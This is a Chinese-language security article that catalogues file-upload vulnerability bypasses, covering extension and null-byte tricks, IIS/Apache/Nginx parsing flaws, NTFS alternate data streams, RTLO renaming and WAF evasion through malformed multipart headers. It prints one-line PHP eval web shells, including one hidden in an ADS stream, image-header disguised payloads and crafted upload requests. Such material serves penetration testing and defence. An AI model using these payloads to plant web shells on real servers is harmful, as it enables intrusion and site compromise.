1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | POST /upload.php HTTP/1.1 Host: localhost Content-Length: 274 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2 Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="file_x"; filename="xx.php" |
请求Header中Content-Type存在以下特征:
- multipart/form-data(表示该请求是一个文件上传请求)
- 存在boundary字符串(作用为分隔符,以区分POST数据)
POST的内容存在以下特征:
- Content-Disposition
- name
- filename
- POST中的boundary的值就是Content-Type的值在最前面加了两个–,除了最后标识结束的boundary
文件上传校验姿势
客户端javascript校验(一般只校验后缀名)
一般都是用javascript脚本检验上传文件的后缀。
服务端校验
文件头content-type字段校验(image/gif)
模拟web服务器端的校验代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。 { echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?> |
代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误。
文件内容头校验(GIF89a)
主要是检测文件内容开始处的文件幻数
1 2 3 4 | (1) .JPEG;.JPE;.JPG,”JPGGraphic File” (2) .gif,”GIF 89A” (3) .zip,”Zip Compressed” (4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile” |
后缀名黑名单校验
后缀名白名单校验
自定义正则校验
WAF设备校验(根据不同的WAF产品而定)
其他
- 文件内容检测
图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息。1 2 3 4
GIF89a (...some binary data for image...) <?php phpinfo(); ?> (... skipping the rest of binary data ...)
- 文件加载检测
一般是调用API函数去进行文件加载测试,常见的是图像渲染测试,再变态点的是进行二次渲染。
对渲染/加载测试的攻击方式是代码注入绕过;对二次渲染的攻击方式是攻击文件加载器自身。
二次渲染:相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。文件上传绕过校验姿势
利用工具进行FUZZ
很多网站对上传进行拦截的时候采取的是黑名单校验,当我们看到黑名单的时候就可以考虑采取修改后缀、截断等方式尝试绕过。
我们采用一个工具:https://github.com/c0ny1/upload-fuzz-dic-builder 来生成fuzz的字典。执行命令:
1 | python upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt |
把生成的字典导入burp中,同时取消payload-encoding的选中状态。执行后可以看到有些php文件上传成功。然后访问其中上传成功的文件,查看是否执行。
访问如图中的地址文件,可以看到上传成功:
客户端绕过
可以利用burp等抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。
服务端绕过
文件类型绕过
抓包改Content-type字段
比如通过抓包,将content-type字段改为image/gif
文件头绕过
在木马文件内容开头加上一些文件头信息
1 | GIF89a<?php phpinfo(); ?> |
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
1 2 3 4 | (1) .JPEG;.JPE;.JPG,”JPGGraphic File” (2) .gif,”GIF 89A” (3) .zip,”Zip Compressed” (4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile” |
文件名/后缀绕过
截断
test.php%00.jpg,test.php0xoo.jpg
windows特性
1 2 3 4 5 6 7 8 9 | ADS流:test.php::$DATA(见下) test.php. test.php_ test.php(空格) *=. <=* >=? test.<<< test.php:1.jpg会生成一个test.php的空文件 |
ASP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 解析漏洞: .asp;.jpg .asp.jpg .asp;jpg +111.asp;+222.jpg /111.asp/1.jpg /111.aspx/1.jpg 后缀名: asa,cer,cdx,ashx,asmx,xml,htr,asax 双文件扩展: test.asp.jpg RTLO: asp.html-内容为一句话 php.txt-内容为一句话 |
JSP
1 2 | .jsp.jpg.jsp-用两个jsp包围中间的jpg 后缀名:jspf,jspa,jsps |
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 后缀名:.php3 ,.php5,.php7 大小写:pHp 解析漏洞: 1.php.jpg 1.jpg.php 1.php jpg(jpg前面两个空格) 1.php jpg(jpg前面一个空格) /1.jpg/1.php /1.jpg%00.php /1.jpg/.php /1.jpg/php 特殊文件利用: .htaccess .user.ini |
配合文件包含漏洞
1 2 | a.上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt b.利用文件包含漏洞包含上传的木马文件,eg:page?id=D:/www/test.txt |
配合服务器解析漏洞
IIS 5.x/6.0解析漏洞
IIS5.x-6.x:
1、目录解析(6.0):/1.asp/1.jpg
在此目录下的任意文件,服务器都解析为asp文件
2、文件解析:1.asp;.jpg
3、文件类型:1.asa,a.cer,1.cdx
IIS7.5:
IIS7.5是由于php配置文件中,开启了cgi.fix_pathinf
Apache解析漏洞
Apache:
从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
后缀不识别:1.php.php123
配置错误:1.php.jpg
Nginx解析漏洞
Nginx:
Nginx默认是以CGI的方式支持PHP解析的,和IIS7.5一样开启了cgi.fix_pathinf
1.jpg/1.php
1.jpg%00.php
1.jpg/%20\1.php
上传一个名字为test.jpg,以下内容的文件
‘);?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php
配合操作系统文件命令规则
5.1 上传不符合windows文件命名规则的文件名
1 2 3 4 5 6 | test.asp. test.asp(空格) test.php:1.jpg test.php::$DATA shell.php::$DATA……. 会被windows系统自动去掉不符合规则符号后面的内容。 |
5.2 linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
CMS、编辑器漏洞
1 2 | CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。 编辑器漏洞:比如FCK,Ewebeditor等,可以针对编辑器的漏洞进行绕过。 |
其他规则
利用WAF特性
- 在恶意代码前加垃圾数据;
- 在数据包前加垃圾数据;
- 在Content-Disposition参数后面加垃圾数据;
- 多加一个filename;
- 更改HTTP请求方法;
- 删除实体里面的Conten-Type字段;
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。 - 删除Content-Disposition字段里的空格
- 增加一个空格
- 修改Content-Disposition字段值的大小写
- 文件名后缀处回车
- 多个Content-Disposition
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。
1 2 3 4 5 | test.php:a.jpg 生成test.php 空 test.php::$INDEX_ALLOCATION 生成test.php文件夹 test.php::$DATA\1.jpg 生成1.jpg(不可见的) echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg 这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了 |
利用RTLO
1 2 3 4 | 新建一个文件php.html 内容为:<?php @eval($_POST['caidao']);?> 重命名文件:输入名字的文本框里点右键,选择“插入unicode控制字符”,然后就到了这个菜单栏,我们选择RLO 这个时候php.html已经变成了html.php了 |
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
将name=”file1”改成了file4,可以防止文件删除(JCMS漏洞)
图片转换/二次渲染/文件幻数检测
- 在不破坏文件本身渲染情况下,在空白区进行代码填充,一般是图片注释
- 溢出攻击
- 绕过GD库
WAF Bypass
WAF如何拦截?
- 解析文件名,判断是否在黑名单内。
- 解析文件内容,判断是否为webshell。
- 文件目录权限
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。
- 构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验
- 将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验
- 将垃圾数据加到Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
多个filename
早期版本安全狗,可以多加一个filename
1 | Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" |
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
1 | Content-Disposition: form-data; filename="xx.php"; name=file_x |
去掉引号,双引号变成单引号
1 2 3 4 | Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php' |
单引号、双引号、不要引号,都能上传。
大小写
对这三个固定的字符串进行大小写转换
- Content-Disposition
- name
- filename
空格
在: ; =添加1个或者多个空格。
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
1 | Content-Disposition: name='file_x'; filename='xx.php' |
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
1 2 3 4 5 6 7 | ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript |
多个分号
文件解析时,可能解析不到文件名,导致绕过。
1 | Content-Disposition: form-data; name="file_x";;; filename="test.php" |
Header在boundary前添加任意字符
PHP支持,JAVA报错
1 | Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2 |
filename换行
PHP支持,Java不支持
1 2 | Content-Disposition: form-data; name="file_x"; file name="test.php" |
name和filename添加任意字符串
PHP支持,Java不支持
1 | Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; |
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
Reference
安全测试要点
https://www.secfree.com/article-585.html
https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
http://byd.dropsec.xyz/2017/02/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E7%BB%95%E8%BF%87/
原文作者: Ywc